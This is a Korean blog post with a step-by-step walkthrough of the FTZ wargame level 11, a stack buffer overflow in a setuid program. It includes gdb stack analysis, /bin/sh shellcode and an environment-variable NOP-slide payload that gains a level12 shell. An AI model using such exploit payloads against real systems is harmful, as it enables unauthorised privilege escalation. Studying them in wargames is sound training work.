일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 버퍼오버플로우
- CodeEngn
- ctf
- BOF
- buffer over flow
- NewsClipping
- PWN
- RITSEC CTF 2019
- webhacking
- reversing
- x64dbg
- 리눅스
- RITSEC
- HackCTF
- writeup
- ftz
- Hackerschool
- SQL Injection
- Linux
- 보안뉴스
- Nop Slide
- 웹해킹
- requests
- Next.js
- 뉴스클리핑
- Python
- termux
- 어셈블리어
- 리버싱
- Shadow 동아리
- Today
- Total
Jaeseo's Information Security Story
FTZ - level11 - WriteUp 본문
FTZ - level11 - WriteUp
level11:what!@#$?
이번 문제는 bof의 개념에 대해 확실히 공부하게 되는 좋은 문제였습니다.
bof에 대해 개념이 부족하시다고 생각하시는 분은 달고나 bof기초문서
를 꼭 한번 읽어보시고 하시는 게 좋습니다.
일단 Hint파일을 봅니다.
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
[level11@ftz level11]$ ls -la | grep attackme
-rwsr-x--- 1 level12 level11 13733 Mar 8 2003 attackme
HInt 파일을 보면 어떤 프로그램에 대한 소스 코드를 알려주는 모습이 보입니다.
그리고 또한 attackme라는 level12의 권한으로 setUid가 설정되어 있는 것을 볼 수 있습니다.
이제 이것을 가지고 bof를 합니다.
일단 소스를 보면 strcpy함수를 사용하는데 strcpy함수는 cpy를 할때 buf크기에 대한 검증을 하지 않아 bof에 취약한 함수입니다.
디버깅을 하기 위해 일단 소스코드를 가지고 프로그램을 만들어 줍니다.
[level11@ftz tmp]$ gcc -g test.c -o test.out
그리고 gdb를 통해 프로그램을 디버깅합니다.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048394 <main+0>: push ebp
0x08048395 <main+1>: mov ebp,esp
0x08048397 <main+3>: sub esp,0x108 //esp 공간 확보 264byte
0x0804839d <main+9>: and esp,0xfffffff0
0x080483a0 <main+12>: mov eax,0x0
0x080483a5 <main+17>: sub esp,eax
0x080483a7 <main+19>: sub esp,0x8 //esp 공간 확보 8byte 총 272byte
0x080483aa <main+22>: push 0xc14
0x080483af <main+27>: push 0xc14
0x080483b4 <main+32>: call 0x80482c4 <setreuid>
0x080483b9 <main+37>: add esp,0x10
0x080483bc <main+40>: sub esp,0x8
0x080483bf <main+43>: mov eax,DWORD PTR [ebp+12]
0x080483c2 <main+46>: add eax,0x4
0x080483c5 <main+49>: push DWORD PTR [eax]
0x080483c7 <main+51>: lea eax,[ebp-264]
0x080483cd <main+57>: push eax
0x080483ce <main+58>: call 0x80482d4 <strcpy> //취약한 strcpy함수
0x080483d3 <main+63>: add esp,0x10
0x080483d6 <main+66>: sub esp,0xc
0x080483d9 <main+69>: lea eax,[ebp-264]
0x080483df <main+75>: push eax
0x080483e0 <main+76>: call 0x80482b4 <printf>
0x080483e5 <main+81>: add esp,0x10
0x080483e8 <main+84>: leave
0x080483e9 <main+85>: ret
End of assembler dump.
어셈블리어를 보면 초기에 264 byte를 확보하고 추가로 8byte, 총 272byte를 확보하는 모습을 볼 수 있습니다.
이것을 보는 것으로 아래와 같은 스택 구조가 되어 있는 것을 짐작할 수 있습니다.
스택 구조 |
---|
Data - 256byte |
Dummy Data - 8byte |
SFP(Stack Frame Pointer) - 4byte |
RET(Return Address) - 4byte |
그럼 이제 인자 값을 넘길 때 268byte만큼을 아무 데이터로 채워주고 나머지 4byte ret에 해당하는 데이터는 shell code 주소로 채워 주면 된다는 결론이 나옵니다.
이때 data에 있는 주소를 기준으로 return 시켜봅니다.
(gdb) b *main+63
Breakpoint 1 at 0x80483d3: file test.c, line 9.
(gdb) run `python -c 'print "A"*256+"B"*8+"C"*4+"D"*4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level11/tmp/test.out `python -c 'print "A"*256+"B"*8+"C"*4+"D"*4'`
Breakpoint 1, 0x080483d3 in main (argc=0, argv=0xbffff814) at test.c:9
9 strcpy( str, argv[1] );
(gdb) x/100x $esp-50
0xbffff67e: 0x39140804 0x0a144200 0x53604213 0x841c4001
0xbffff68e: 0xf7c80804 0xbcc0bfff 0xffff4000 0x0c14ffff
0xbffff69e: 0x9dd00000 0x53604207 0xf7c84001 0x83d3bfff
0xbffff6ae: 0xf6c00804 0xfb26bfff 0x5b88bfff 0x00014001
0xbffff6be: 0x41410000 0x41414141 0x41414141 0x41414141
0xbffff6ce: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6de: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6ee: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6fe: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff70e: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff71e: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff72e: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff73e: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff74e: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff75e: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff76e: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff77e: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff78e: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff79e: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7ae: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7be: 0x42424141 0x42424242 0x43434242 0x44444343
0xbffff7ce: 0x00004444 0xf8140000 0xf820bfff 0x582cbfff
0xbffff7de: 0x00024001 0x82e40000 0x00000804 0x83050000
0xbffff7ee: 0x83940804 0x00020804 0xf8140000 0x83ecbfff
0xbffff7fe: 0x841c0804 0xc6600804 0xf80c4000 0x0000bfff
이제 메모리 스택을 보면 아래와 같은 주소 형태를 가지고 있는 것을 볼 수 있습니다.
스택 구조 |
---|
Data - 256byte - [0xbffff6c0] ~ [0xbffff7bf] |
Dummy Data - 8byte - [0xbffff7c0] ~ [0xbffff7c7] |
SFP(Stack Frame Pointer) - 4byte - [0xbffff7c8] ~ [0xbffff7cb] |
RET(Return Address) - 4byte - [0xbffff7cc] ~ [0xbffff7cf] |
이 주소를 이용하여 shell코드를 삽입하고 불러오도록 payload를 짜 보겠습니다.
일단 shellcode
는 아직 짜는 실력이 미숙하기 때문에 구글에서 검색을 하여 가져 왔습니다.
25byte shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
일단 한번 Nop Slide
구조로 data 256 + dummy 8을 이용하여 작성하겠습니다.
239byte를 NOP
으로 채우고 나머지 25byte를 shellcode를 넣어준 다음 SFP는 아무 코드 4byte를 집어넣어주고 RET에 DATA 시작 주소를 리틀 엔디안 형식으로 작성하여 작동하도록 합니다.
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*239+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*4+"\xc0\xf6\xff\xbf"'`
이제 작동을 하면 Segmentation fault
이라는 오류 메시지를 볼 수 있는데 ASLR : Address Space Layout Randomization
기법을 사용하여 프로세스를 사용할 때마다 동적으로 데이터의 주소가 변경되어 오류가 발생합니다.
한번 test 소스를 수정하여 실제로 적용이 되었는지에 대해 확인합니다.
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
printf("\n0x%x\n",str);
}
[level11@ftz tmp]$ ./test.out test
test
0xbfffead0
[level11@ftz tmp]$ ./test.out test
test
0xbfffe050
[level11@ftz tmp]$ ./test.out test
test
0xbfffedd0
[level11@ftz tmp]$ ./test.out test
test
0xbffff150
[level11@ftz tmp]$ ./test.out test
test
0xbfffdd50
위와 같이 실행을 할 때마다 주소 값이 변경되는 것을 볼 수 있습니다.
이제 이점을 우회할 수 있는 새로운 방법의 payload를 짜 봅니다.
환경변수의 주소 값이 메모리상에서 변화가 거의 없는 점을 이용하여 짜 봅니다.
일단 shellcode를 환경변수로 등록합니다. 이때 NOP SLIDE
를 사용하여야 합니다.
[level11@ftz tmp]$ export ATTACK=`python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
nop slide를 미사용 했을 때의 문제점은 뒤에서 설명하겠습니다.
일단 이제 환경변수의 주소를 가져오는 프로그램을 작성합니다.
#include <stdio.h>
int main(int argc, char **argv){
printf("%s : 0x%x\n",argv[1],getenv(argv[1]));
return 0;
}
getenv
함수를 이용하여 주소를 가져옵니다.
이 프로그램을 이요하여 $ATTACK의 주소를 가져옵니다.
[level11@ftz tmp]$ ./getEnv.out ATTACK
ATTACK : 0xbfffd84d
이제 주소가 위와 같이 되어 있는 점을 볼 수가 있습니다.
하지만 아래와 같이 다른 환경변수에 영향을 주게 되면 주소가 조금씩 달라지는 점을 확인할 수 있습니다.
아마 pwd와 같은 환경변수처럼 경로에 따라 변수 내용이 달라지고 그 결과 ATTACK의 주소 값도 조금씩 변경되는 것 같습니다. 그래서 Nop Slide 기법을 활용해서 주소가 조금 오차가 생기더라도 NOP를 타고 맨 마지막에 있는 shellcode가 동작하도록 합니다.
[level11@ftz tmp]$ ./getEnv.out ATTACK
ATTACK : 0xbfffd84d
[level11@ftz level11]$ ./tmp/getEnv.out ATTACK
ATTACK : 0xbfffd845
[level11@ftz /]$ /home/level11/tmp/getEnv.out ATTACK
ATTACK : 0xbfffd82d
이제 공격을 시도해봅니다.
ret주소 전까지 NOP코드를 채우고 그다음 환경변수에 대한 주소를 리틀 엔디안 방식으로 작성해줍니다.
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*268+"\x4d\xd8\xff\xbf"'`
sh-2.05b$ whoami
level12
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "it is like this".
sh-2.05b$
Level12:it is like this
'Write UP > FTZ' 카테고리의 다른 글
FTZ - level13 - WriteUp (2) | 2019.11.19 |
---|---|
FTZ - level12 - WriteUp (0) | 2019.11.18 |
FTZ - level10 - WriteUp (0) | 2019.11.13 |
FTZ - level9 - WriteUp (0) | 2019.11.12 |
FTZ - level8 - WriteUp (0) | 2019.11.11 |